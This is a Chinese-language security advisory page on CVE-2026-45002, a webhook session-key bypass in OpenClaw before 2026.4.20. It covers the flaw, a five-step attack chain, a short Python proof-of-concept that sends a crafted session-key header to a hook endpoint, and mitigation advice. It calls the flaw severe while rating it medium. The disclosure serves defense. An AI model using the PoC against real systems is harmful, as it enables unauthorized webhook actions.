IPBUF安全漏洞报告
English
CVE-2026-45002 CVSS 5.3 中危

CVE-2026-45002 OpenClaw钩子会话密钥绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-45002
漏洞类型
访问控制绕过
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

OpenClaw权限绕过Webhook模板注入访问控制

漏洞概述

OpenClaw 2026.4.20之前的版本存在一个严重的钩子会话密钥绕过漏洞。该漏洞允许攻击者规避`hooks.allowRequestSessionKey`这一关键的安全限制。通过利用模板化的钩子映射,攻击者能够渲染由外部影响的会话密钥,从而成功绕过webhook的路由隔离控制机制。这可能导致未经授权的访问和操作,对系统的完整性和机密性构成威胁。

技术细节

该漏洞源于OpenClaw在处理钩子请求时的逻辑缺陷,特别是在会话密钥验证环节。当系统启用`hooks.allowRequestSessionKey`选项时,本意是严格限制会话密钥的来源以增强隔离性。然而,在2026.4.20之前的版本中,模板引擎在处理钩子映射时,未能正确隔离上下文,直接使用了未经充分净化的外部输入来渲染或匹配会话密钥。攻击者可以通过发送特制的HTTP请求,在请求头或请求体中注入恶意的会话标识。由于模板机制将这些外部变量动态渲染为最终的会话密钥,系统错误地将其视为合法的内部会话凭证。这一过程完全绕过了针对会话密钥来源的校验逻辑,使得攻击者能够成功访问本应隔离的Webhook端点,执行原本被禁止的操作,从而破坏了系统的安全边界和路由隔离机制。

攻击链分析

STEP 1
侦察阶段
攻击者识别目标系统运行的是OpenClaw且版本低于2026.4.20。
STEP 2
漏洞利用
攻击者向Webhook端点发送特制的HTTP请求,其中包含恶意构造的会话密钥(通过Header或Body参数)。
STEP 3
模板渲染
服务端模板引擎处理请求,利用受外部影响的输入(如Header)动态渲染出会话密钥。
STEP 4
安全绕过
系统错误信任了渲染出的密钥,绕过了`hooks.allowRequestSessionKey`的校验逻辑。
STEP 5
达成影响
攻击者成功绕过Webhook路由隔离控制,执行未授权的钩子操作,影响系统完整性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2026-45002 # Description: This script demonstrates how an attacker can bypass the # hooks.allowRequestSessionKey restriction by leveraging template mapping. # It sends a request with a crafted header that the template engine # renders as the session key, effectively spoofing authorization. import requests def exploit_openclaw(target_url): # The endpoint that triggers the vulnerable hook hook_url = f"{target_url}/api/hook/trigger" # Attacker attempts to inject a session key via a header # that is referenced in the server-side template mapping (e.g., {{ headers.session_key }}) headers = { "Content-Type": "application/json", "X-Session-Key": "attacker_controlled_bypass_key" } # Payload intended for the hook payload = { "action": "deploy", "data": "malicious_payload" } try: print(f"[*] Sending request to {hook_url}...") response = requests.post(hook_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request successful! Potential bypass confirmed.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://127.0.0.1:8080" exploit_openclaw(target)

影响范围

OpenClaw < 2026.4.20

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用受影响的钩子功能或实施严格的网络访问控制列表(ACL),仅允许受信任的IP地址访问Webhook端点,以减少被攻击的风险。

参考链接